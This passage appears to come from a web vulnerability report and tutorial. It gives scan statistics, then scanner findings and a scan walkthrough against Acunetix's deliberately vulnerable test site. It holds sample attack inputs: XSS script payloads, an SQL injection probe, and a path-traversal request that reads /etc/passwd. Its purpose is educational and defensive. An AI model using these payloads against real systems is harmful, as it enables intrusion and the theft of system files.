➤ **Perimeter Network Vulnerabilities:**

Every local network is shielded from the outside world (the Internet) using edge or perimeter devices. These provide functions and services such as routing, NAT/PAT, VPN, and firewalling. Servers, such as web servers, mail servers, DNS servers, are also often located on the perimeter of the local network and accessible from the Internet.

If you do not regularly maintain such devices and services to update their operating systems and software, vulnerabilities can appear. Vulnerabilities can also appear when you misconfigure a device or a service.

Many of these services are now being moved out of internal networks and into the cloud. Therefore, it might be difficult to tell the difference between a LAN service, a WAN service, and a perimeter/edge service.

However, regardless of the location of the service, if your critical network elements have vulnerabilities or are misconfigured, they may expose critical data and potentially allow an attacker to bypass authentication.

Analysis:

We found 15.5% targets with SSH-related vulnerabilities. SSH keys protect access to resources. As your business grows, so does the number of SSH keys in use, and this may cause some issues. For example, simply keeping track of a large number of keys can be difficult. What often happens is that organizations create new keys

Surprisingly often, businesses use the same keys for many services, which is very bad practice. This makes it harder to change or revoke keys, and the situation gets even worse if keys are embedded into internal software systems. As a result, keys become static and are not changed on a regular basis. This gives opportunities to attackers.

We found 7% targets with FTP-related vulnerabilities. Most of these vulnerabilities were low severity vulnerabilities or misconfigurations, mostly FTP server information and version disclosure. We also found 1.4% targets with email-related vulnerabilities and 1.5% targets with DNS-related vulnerabilities.




Figure 13. Analysis of perimeter network vulnerabilities.

➤ ***DoS-related Vulnerabilities:***

Denial-of-service (DoS) attacks are designed to bring down a system – to make it non-responsive or impossible to access. Attackers often do this simply by flooding the target with requests that block or obstruct regular traffic. This is sometimes called a volumetric attack because it is the volume of requests that causes the damage. Popular tools that attackers use are Low Orbit Ion Cannon and High Orbit Ion Cannon.

Application-based denial-of-service is more refined. First, the attacker makes regular requests and measures response delay. Some requests require more processing time and are more expensive for the target. The attacker chooses the most expensive requests and uses them for the actual attack. This way, they can use fewer requests to achieve the same goal.

DoS attacks are very difficult to defend against because the requests appear to be legitimate. There are some tools that can help you, but the attacker may also use multiple hosts to send requests, making a distributed-denial-of-service (DDoS) attack.

➤ ***Other Vulnerabilities that Cause a Web Server DoS:***

Note that there are other vulnerabilities that directly lead to a DoS effect on a system. Most vulnerabilities can be exploited in such a way.

For example:

- 1. An SQL Injection that issues a DROP TABLE command**
- 2. A code injection where the injected code calls itself so many times that the server runs out of resources**
- 3. An XML bomb – an XML document aimed at overloading an XML parser (e.g. the billion laughs attack)**

Such vulnerabilities are not included in this section about DoS-related vulnerabilities.

Analysis:

We found 11% of targets with denial-of-service vulnerabilities, 7.5% of them vulnerable to SlowLoris (an application-based DoS vulnerability). A SlowLoris attack uses all possible connections to the web server. The attacker makes requests but never closes them. Regular users cannot connect until attacker connections expire.

The good news is that the number of targets vulnerable to DoS has been decreasing for 4 years.




Figure 14. Analysis of DoS-related vulnerabilities.

➤ ***Cross-site Request Forgery:***

Cross-site Request Forgery (CSRF) vulnerabilities occur when a web server receives an unauthorized request from a trusted browser. Browser requests sent to a web server may include user's session cookies – this almost always happens if the user has already logged in to a site.

An attacker can create a malicious link that lets them execute a particular action, for example, transfer money from a user's online bank account to another account. The attacker can place this link on a website that they control and convince the user to click this link (social engineering). The user clicks the link and sends the request to the server. Because the user is already logged in, the server executes the action using their account.

Analysis:

We found that 36% of sampled targets were vulnerable to Cross-site Request Forgery or had an HTML form without an anti-CSRF token.

Web developers can use many mechanisms to defend against CSRF. Most of

these work by adding extra authentication data into the exchange. This way, the web application can detect requests that come from an impostor.




Figure 15. Analysis of CSRF vulnerabilities.

➤ ***Host Header Injection:***

Host header injection vulnerabilities occur when an application dynamically creates HTTP headers using data supplied by the user. Some application developers trust the security of host headers to import stylesheets, scripts, and links – even for password reset purposes. Without multi-factor authentication (MFA), an attacker can even gain complete control of a user's account.

Another attack based on host header injection is web cache poisoning. The cache then serves the attacker's payload to users.

Analysis:

We found 2.5% of sampled targets to be vulnerable to host header injection. While host header injection can be dangerous, it is not easy to exploit. The attack can only succeed in very specific and unlikely conditions.




Figure 16. Analysis of host header injection vulnerabilities.

➤ ***Directory Listing:***

Directory listing is what a web server does when the user requests a directory without an index file. If the web server is configured with directory listing turned on, it shows the contents of such a directory. If the files are readable by the web server, the attacker may be able to view the contents of the files. This can escalate to higher severity issues, for example, source code disclosure. It may also expose configuration files that contain, for example, credentials for back-end databases.

Analysis:

We found 6% of sampled targets to be vulnerable to directory listing misconfigurations. This result is not surprising, especially because directory listing is enabled by default on the Apache HTTP Server. Apache administrators should follow basic hardening guides to protect their servers.




Figure 16. Analysis of directory listing vulnerability

➤ ***TLS/SSL Vulnerabilities:***

Transport Layer Security (TLS) and its predecessor, Secure Socket Layer (SSL), are protocols used to authenticate and encrypt connections and verify the integrity of data exchanged between clients and servers.

Every website on the Internet should encrypt communications between the user and the server. This is especially important for websites that handle sensitive data. Encryption creates a secure channel to exchange information such as identification numbers and documents, financial information (for example, credit card numbers), login credentials, and so on.

Older variants of SSL and TLS are vulnerable to many attacks. An attacker who identifies a web server that still uses such versions (usually because of a misconfiguration) may be able to crack or bypass encryption and access information that is exchanged between the server and users.

Analysis:

We found nearly 47% of sampled targets with TLS/SSL issues. The majority of these (more than 38%) had broken ciphers (TLS 1.0, RC4) in the allowed cipher list.

We believe it is worrying that very famous vulnerabilities (sometimes called

“superbugs”) are still visible. Our target sample data shows these items: BREACH (3.9%), POODLE (3.9%), and DROWN (0.7%). We were not expecting to find so many targets with such old and critical issues.




Figure 17. Analysis of TLS/SSL vulnerabilities.

➤ **Web Server Vulnerabilities and Misconfigurations:**

There are 2 general types of web server vulnerabilities. The first category are vulnerabilities in web server software. These are monitored by web server vendors and often discovered by them, not by users. They are fixed by updates or patches. Security best practice is to always update web server software to the latest version.

The second type of web server vulnerabilities are misconfigurations. These are configurations that expose the web server to attacks.

Vulnerabilities in web servers may range from information disclosure all the way to a remotely exploitable buffer overflow vulnerability that could allow an attacker to escalate an attack to remote code execution (RCE).

Analysis:

We found that 46% of sampled targets had web server vulnerabilities or misconfigurations. Unsurprisingly, most misconfigurations in this category were related to version disclosure. Web servers often disclose their make and version in response to simple requests. While this is not strictly classified as a vulnerability, it may provide an attacker with useful information.

In other cases, old versions of web servers were identified that contained vulnerabilities, mostly related to denial-of-service or information disclosure.




Figure 18. Analysis of vulnerabilities and misconfigurations in web servers.

➤ *Cross-site scripting (self):*

Summary

| | |
|-------------|---|
| Severity: | Medium |
| Confidence: | Firm |
| Host: | http://testphp.vulnweb.com/ |
| Path: | /robots.txt |

Issue detail:

The name of an arbitrarily supplied URL parameter is copied into the HTML document as plain text between tags. The payload `<script>alert(1)</script>` was submitted in the name of an arbitrarily supplied URL parameter. This input was echoed unmodified in the application's response. This behavior demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behavior and attempt to identify any unusual input validation or other obstacles that may be in place.

Issue background:

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request that, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site that causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality that it contains, and the other applications that belong to the same domain and organization.

If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain that can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk.

Similarly, if the organization that owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application and exploiting users' trust in the organization in order to capture credentials for other applications that it owns.

In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation:

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

- Input should be validated as strictly as possible on arrival, given the kind of content that it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
- User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).


In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request:

```
POST /search.php?test=query HTTP/1.1
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/88.0.4324.150 Safari/537.36
Connection: close
Cache-Control: max-age=0
Referer: http://testphp.vulnweb.com/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
```


```
searchFor=<script>alert(document.domain)</script>&goButton=go
```

Response:



➤ **Flash cross-domain policy:**

Summary

| | | |
|---|-------------|----------------------------|
|  | Severity: | High |
| | Confidence: | Certain |
| | Host: | http://testphp.vulnweb.com |
| | Path: | /crossdomain.xml |

Issue detail:

The application publishes a Flash cross-domain policy which allows access from any domain. Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background:

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain that publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application that allows access.

Any domains that are allowed by the Flash cross-domain policy should be reviewed to determine whether it is appropriate for the application to fully trust both their intentions and security posture.

Issue remediation:

Any inappropriate entries in the Flash cross-domain policy file should be removed.

Request:

```
GET /crossdomain.xml HTTP/1.1
Host: testphp.vulnweb.com
Connection: close
```


Response:

```
HTTP/1.1 200 OK
Server: nginx/1.19.0
Date: Sat, 13 Mar 2021 04:21:46 GMT
Content-Type: text/xml
Content-Length: 224
Last-Modified: Tue, 11 Sep 2012 10:30:22 GMT
Connection: close
ETag: "504f12be-e0"
Accept-Ranges: bytes

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*" secure="false"/>
...[SNIP]...
```

➤ Unencrypted communications:

Summary

| | | |
|---|-------------|----------------------------|
|  | Severity: | Low |
| | Confidence: | Certain |
| | Host: | http://testphp.vulnweb.com |
| | Path: | / |

Issue description:

The application allows users to connect to it over unencrypted connections. An attacker suitably positioned to view a legitimate user's network traffic could record and monitor their interactions with the application and obtain any information the user supplies. Furthermore, an attacker able to modify traffic could use the application as a platform for attacks against its users and third-party websites.

Unencrypted connections have been exploited by ISPs and governments to track users, and to inject adverts and malicious JavaScript. Due to these concerns, web browser vendors are planning to visually flag unencrypted connections as hazardous.

To exploit this vulnerability, an attacker must be suitably positioned to eavesdrop on the victim's network traffic. This scenario typically occurs when a client communicates with the server over an insecure connection such as public Wi-Fi, or a corporate or home network that is shared with a compromised computer. Common defenses such as switched networks are not sufficient to prevent this. An attacker situated in the user's ISP or the application's hosting infrastructure could also perform this attack. Note that an advanced adversary could potentially target any connection made over the Internet's core infrastructure.

Please note that using a mixture of encrypted and unencrypted communications is an ineffective defense against active attackers, because they can easily remove references to encrypted resources when these references are transmitted over an unencrypted connection.

Issue remediation:

Applications should use transport-level encryption (SSL/TLS) to protect all communications passing between the client and the server. The Strict-Transport-Security HTTP header should be used to ensure that clients refuse to access the server over an insecure connection.

➤ *Cross-domain Referrer leakage:*

Summary

| | | |
|---|-------------|----------------------------|
|  | Severity: | Information |
| | Confidence: | Certain |
| | Host: | http://testphp.vulnweb.com |
| | Path: | /listproducts.php |

Issue detail:

The page was loaded from a URL containing a query string:

- <http://testphp.vulnweb.com/listproducts.php>

The response contains the following links to other domains:

- <http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab>
- <http://www.acunetix.com/>
- <https://www.acunetix.com/>
- <https://www.acunetix.com/blog/articles/prevent-sql-injection-vulnerabilities-in-php-applications/>
- <https://www.acunetix.com/vulnerability-scanner/>
- <https://www.acunetix.com/vulnerability-scanner/php-security-scanner/>
- <http://www.electasy.com/Fractal-Explorer/index.html>

Issue background:

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated.

This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain.

If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behavior should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation:

Applications should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

If placing sensitive information in the URL is unavoidable, consider using the Referer-Policy HTTP header to reduce the chance of it being disclosed to third parties.

Request:

```
GET /listproducts.php?cat=1 HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://testphp.vulnweb.com/categories.php
Upgrade-Insecure-Requests: 1
```

Response:

```
HTTP/1.1 200 OK
Server: nginx/1.19.0
Date: Sat, 13 Mar 2021 04:34:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1
Content-Length: 7880

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideHTMLOutsideLoc
...[SNIP]...
<p>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash
/swflash.cab#version=6,0,29,0" width="107" height="66">
<param name="movie" value="Flash/add.swf">
...[SNIP]...
<div id="siteInfo"> <a href="http://www.acunetix.com">About Us</a>
...[SNIP]...
```

➤ **Frameable response (potential Clickjacking):**

There are 5 instances of this issue:

- /
- /categories.php
- /comment.php
- /guestbook.php
- /listproducts.php

Issue description:

If a page fails to set an appropriate X-Frame-Options or Content-Security-Policy HTTP header, it might be possible for a page controlled by an attacker to load it within an iframe. This may enable a clickjacking attack, in which the attacker's page overlays the target application's interface with a different interface provided by the attacker.

By inducing victim users to perform actions such as mouse clicks and keystrokes, the attacker can cause them to unwittingly carry out actions within the application that is being targeted. This technique allows the attacker to circumvent defenses against cross-site request forgery, and may result in unauthorized actions.

Note that some applications attempt to prevent these attacks from within the HTML page itself, using "framebusting" code. However, this type of defense is normally ineffective and can usually be circumvented by a skilled attacker.

You should determine whether any functions accessible within frameable pages can be used by application users to perform any sensitive actions within the application.

Issue remediation:

To effectively prevent framing attacks, the application should return a response header with the name X-Frame-Options and the value DENY to prevent framing altogether, or the value SAMEORIGIN to allow framing only by pages on the same origin as the response itself. Note that the SAMEORIGIN header can be partially bypassed if the application itself can be made to frame untrusted websites.

➤ *Email addresses disclosed:*

There are 4 instances of this issue:

- /
- /categories.php
- /guestbook.php
- /listproducts.php

Issue background:

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organization's personnel.

Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation:

Consider removing any email addresses that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as `helpdesk@example.com`).

To reduce the quantity of spam sent to anonymous mailbox addresses, consider hiding the email address and instead providing a form that generates the email server-side, protected by a CAPTCHA if necessary.

➤ **Blind SQL:**

Issue Background:

SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).

SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed.

SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

Request:

```
GET /product.php?pic=1' HTTP/1.1
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/88.0.4324.150 Safari/537.36
Connection: close
Cache-Control: max-age=0
Referer: http://testphp.vulnweb.com/listproducts.php?cat=1
```

Response:



TEST and Demonstration site for [Acunetix Web Vulnerability Scanner](#)

[home](#) | [categories](#) | [artists](#) | [disclaimer](#) | [your cart](#) | [guestbook](#) | [AJAX Demo](#)

search art

Warning: mysql_fetch_array() expects parameter 1 to be resou
boolean given in /hj/var/www/product.php on line 70

[Browse categories](#)
[Browse artists](#)
[Your cart](#)
[Signup](#)
[Your profile](#)
[Our guestbook](#)
[AJAX Demo](#)

Links
[Security art](#)
[PHP scanner](#)
[PHP vuln help](#)
[Fractal Explorer](#)

ouldn't load plugi

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➤ **LFI (Local File Inclusion):**

A file inclusion vulnerability is a type of web vulnerability that is most commonly found to affect web applications that rely on a scripting run time. This issue is caused when an application builds a path to executable code using an attacker-controlled variable in a way that allows the attacker to control which file is executed at run time.

A file include vulnerability is distinct from a generic directory traversal attack, in that directory traversal is a way of gaining unauthorized file system access, and a file inclusion vulnerability subverts how an application loads code for execution.

Successful exploitation of a file inclusion vulnerability will result in remote code execution on the web server that runs the affected web application. An

attacker can use remote code execution to create a web shell on the web server, which can be used for website defacement.

Request:

```
GET /showimage.php?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1
Host: testphp.vulnweb.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Connection: close
Cache-Control: max-age=0
Referer: http://testphp.vulnweb.com/listproducts.php?cat=1
```

Response:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
nobody:x:65534:1002:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false
bind:x:104:111::/var/cache/bind:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
```

Practical Examples:

Performing an Online Vulnerability Scan:

To initiate a scan, I required a susceptible website for testing purposes. Acunetix offers its own set of test sites that you can scan to evaluate the product's performance.

The following are the URLs of Acunetix's test sites:

<http://testhtml5.vulnweb.com>

<http://testphp.vulnweb.com>


<http://testaspnet.vulnweb.com>

<http://testasp.vulnweb.com>

- Commencing a new scan is as straightforward as accessing the Scan Wizard and clicking the "New Scan" button located in the main toolbar. The wizard will guide you through various options, allowing you to customize the scan according to your preferences.




- To begin with, we must specify the website that we want to scan using Acunetix Web Vulnerability Scanner. In this instance, we will continue using the PHP test site mentioned earlier, which can be accessed at <http://testphp.vulnweb.com>.



- After specifying the website to scan, the next step involves selecting a Scanning Profile. This Profile is essentially a set of tests that are grouped


logically and perform a specific type of analysis. This feature allows users to customize which tests Acunetix WVS should perform.

Users can choose from the pre-built Scanning Profiles or create their own, tailored to their specific needs.




The screenshot shows the 'Scan Wizard' dialog box with the 'Options' tab selected. The title bar says 'Scan Wizard' and there is a close button (X) in the top right corner. Below the title bar, the text 'Options' is displayed, followed by the instruction 'Adjust scanning options from this page.' The main content area is divided into three sections. The first section, 'Scanning options', includes a description: 'Scanning profile will enable/disable different tests (or group of tests) from the test database.' Below this is a dropdown menu labeled 'Scanning profile:' with 'High_Risk_Alerts' selected. The second section, 'Scanning settings', includes a description: 'Scanning settings allow you to adjust scanning behavior to the current scan(s).' Below this is a dropdown menu labeled 'Scan settings:' with 'Default' selected, and a 'Customize' button to its right. The third section, 'Adjust advanced scan settings', includes a description: 'Adjust advanced scan settings' and a checkbox labeled 'Show advanced options in the scan wizard' which is currently unchecked. At the bottom of the dialog box, there are three buttons: '< Back', 'Next >', and 'Cancel'.

- The Default Scanning Profile runs all the tests that Acunetix Web Vulnerability Scanner can perform. However, suppose a user is only interested in high-risk vulnerabilities. In that case, they can customize the scan to focus solely on those types of vulnerabilities.
- In addition to Scanning Profiles, users can also customize scans through Scan Settings, which offer detailed control over the scanning process. While most users may not need to modify these settings, as the default options are designed to accommodate the majority of websites and web applications, there are instances where customization is required.




- For example, if a user is accessing the internet through an HTTP proxy, they can configure the proxy settings by clicking the Customize button next to the Scan Settings list box.




- Acunetix WVS provides advanced options that offer additional control over the scanning process. One notable option is the ability to select and exclude specific pages from the scan using the "After crawling, let me choose the files to scan" feature. Furthermore, Acunetix WVS supports importing results from other tools such as Portswigger's BurpSuite and Telerik's Fiddler, in addition to utilizing its own built-in HTTP Sniffer. These features allow users to have more flexibility and integrate with other tools when conducting their scans.

- Acunetix WVS is a black-box scanner capable of scanning any website or web application, regardless of the underlying technologies or programming languages used. It conducts its tests without prior knowledge of the internal workings of the site, simulating a real attacker's approach.
- In terms of scan optimization, Acunetix Web Vulnerability Scanner employs intelligent techniques to enhance the scanning process for specific technologies. It attempts to fingerprint the web application to identify the technologies employed, thereby reducing the scan time. For instance, if the site is built using PHP, there is no need to search for vulnerabilities specific to ASP.NET applications, as the scan focuses on



relevant vulnerabilities only.




How to Scan Password Protected Areas of a Website:


As the website we are scanning includes a login page, it becomes necessary to create a Login Sequence that guides the scanner on how to authenticate into the application. This step is crucial during the scanning process and can often be challenging or time-consuming to configure accurately with other scanners.

There are two options available:


1. You can allow the scanner to attempt logging in on your behalf, which usually works effectively for straightforward sites with basic username and password requirements.
2. Alternatively, you can manually create a Login Sequence, which is recommended for more intricate login mechanisms. This approach provides greater control and customization options to accommodate complex logins effectively.




- Acunetix Web Vulnerability Scanner simplifies the process of creating a Login Sequence. By simply going through the standard login procedure of signing into an account, the scanner automatically records your actions. These recorded actions are then replayed by the scanner to authenticate during the scan. This feature makes it effortless to create a Login Sequence, ensuring that the scanning process accurately replicates the login procedure



- In the Login Sequence Recorder window, there is a replay button located at the bottom-left. This button allows you to replay the recorded actions to ensure that everything is functioning correctly.
- Afterward, when you proceed by clicking "Next," you will have the option to select specific links that you want to restrict the scanner from clicking while logged in. To maintain the session during the crawl or scan, it is essential to prevent the scanner from accessing the Logout link. However, you have the flexibility to set up additional restrictions according to your preferences.
- Furthermore, the Login Sequence Recorder supports restricting links with nonces (one-time tokens) using wildcards, providing an additional level of control over the scanning process.



- After setting up the link restrictions, proceed by clicking "Next." However, it's important to note that a Login Sequence alone is insufficient. The scanner needs to distinguish between being logged in and logged out, which is achieved through a Session Pattern.
- A Session Pattern is a distinct identifier or characteristic that distinguishes the logged-in state from the logged-out state within a web application. The Login Sequence Recorder automatically detects this pattern for you. Nevertheless, you have the option to customize the pattern according to your preferences if desired.




Upon clicking "Finish," you will be prompted to save the Login Sequence you have just created. This enables you to reuse the Login Sequence in future scans, eliminating the need to recreate it every time you scan the same site.

The final screen of the Scan Wizard provides the option to save any Scan Settings you have configured. Additionally, Acunetix WVS has the capability to identify if a site responds differently to mobile User-Agent strings. It will inquire whether you would like to change your User Agent string to simulate an iPhone or an Android device. This feature is particularly useful if your site requires mobile-friendly testing.


Website Vulnerability Scan Results:

- Once the crawl and scan processes are completed, Acunetix WVS will present a list of high- severity vulnerabilities detected on the test site.
- When you click on a specific vulnerability (such as SQL Injection), Acunetix WVS not only reveals the vulnerable input parameter but also lists various attack variations targeting that parameter.



- Choosing one of the vulnerability variations allows you to access a detailed explanation of the specific vulnerability. The scanner presents a summary of the vulnerability, followed by an explanation of the potential impact it can have and provides guidance on how to remediate the vulnerability effectively.

- If you have installed Acunetix AcuSensor (optional), which is a server-side component for PHP and .NET applications that communicates with Acunetix WVS, the results for vulnerabilities like SQL Injection go a step further. They include information about the file and the vulnerable line of code, providing precise details for better understanding and resolution of the vulnerability.




- Following the initial alert, you will receive more comprehensive information explaining the problem in detail. This includes a thorough explanation of the vulnerability, instructions on how to address it, and a list of reference URLs for further reading if you require additional information on the topic.
- When it comes to verifying the effectiveness of a vulnerability fix, re-running the entire scan is one approach. However, Acunetix WVS offers a convenient Retest feature. By right-clicking on a specific alert that you want to retest, you can select "Retest alert(s)." This will rerun the tests associated with that particular vulnerability, and the new results will be displayed. If the vulnerability has been successfully resolved, Acunetix will mark it in a gray, strike-through font, indicating its resolution.



- Once you have completed the scan, you have the option to save the scan results or generate comprehensive reports that are easy to comprehend. To generate reports, simply click on the Reporter button in the main toolbar.




- Upon loading the Acunetix Web Vulnerability Scanner Reporter, you will be presented with a range of report options to choose from. If you prefer high-level reports, you can select from the Affected Items, Executive Summary, and Quick Report, which offer concise and informative reports tailored to your needs.



- On the other hand, if you require compliance reports, the Acunetix reporter provides the capability to generate reports customized to your chosen compliance standard. Whether it is the OWASP Top 10, PCI, HIPPA, or any other Compliance Reports available, you can select the specific compliance standard you need. It is worth noting that these reports are regularly updated to align with the latest versions of the respective compliance standards.



The most detailed report is the *Developer Report*. This report is also highly configurable, allowing the user to include just the necessary information in the report.



Summary Page:

Scan of http://testphp.vulnweb.com:80/

Scan details

Scan information

| | |
|-------------|-----------------------|
| Start time | 9/4/2015 3:28:32 PM |
| Finish time | 9/4/2015 3:42:37 PM |
| Scan time | 14 minutes, 5 seconds |
| Profile | High_Risk_Alerts |

Server information

| | |
|---------------------|-------------|
| Responsive | True |
| Server banner | nginx/1.4.1 |
| Server OS | Unknown |
| Server technologies | PHP |

Threat level



Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered. A malicious user can exploit these vulnerabilities and compromise and/or deface your website.

Alerts distribution

| | |
|--------------------|-----|
| Total alerts found | 213 |
| High | 120 |
| Medium | 44 |
| Low | 14 |
| Informational | 35 |

Knowledge base

Possible registration page

A page where it is possible to register a new user account was found at /signup.php.

List of file extensions

File extensions can provide information on what technologies are being used on this website.

List of file extensions detected:

- css => 4 file(s)
- gif => 1 file(s)
- php => 49 file(s)
- swf => 1 file(s)
- fla => 1 file(s)
- conf => 1 file(s)
- htaccess => 1 file(s)
- htm => 1 file(s)
- xml => 8 file(s)
- name => 1 file(s)
- iml => 1 file(s)
- sql => 1 file(s)
- js => 1 file(s)
- Log => 1 file(s)
- bak => 2 file(s)
- tn => 8 file(s)
- txt => 2 file(s)

Acunetix Website Audit

Alert Summary:

Alerts summary

🚩 Blind SQL Injection

Classification

CVSS Base Score: 6.8

- Access Vector: Network
- Access Complexity: Medium
- Authentication: None
- Confidentiality Impact: Partial
- Integrity Impact: Partial
- Availability Impact: Partial

CWE CWE-89

| Affected items | Variation |
|-------------------------------|-----------|
| / | 1 |
| /AJAX/infoartist.php | 1 |
| /AJAX/infocateg.php | 1 |
| /AJAX/infotitle.php | 1 |
| /artists.php | 2 |
| /cart.php | 4 |
| /guestbook.php | 1 |
| /listproducts.php | 4 |
| /Mod_Rewrite_Shop/buy.php | 1 |
| /Mod_Rewrite_Shop/details.php | 1 |
| /Mod_Rewrite_Shop/rate.php | 1 |
| /product.php | 2 |
| /search.php | 5 |
| /secured/newuser.php | 1 |
| /userinfo.php | 8 |

🚩 CRLF injection/HTTP response splitting (verified)

Classification

CVSS Base Score: 5.0

- Access Vector: Network
- Access Complexity: Low
- Authentication: None
- Confidentiality Impact: None
- Integrity Impact: Partial
- Availability Impact: None

CWE CWE-113

| Affected items | Variation |
|----------------|-----------|
| /redir.php | 1 |

Alert Details:

| Alert details | |
|---|--|
| 🚨 Blind SQL Injection | |
| Severity | High |
| Type | Validation |
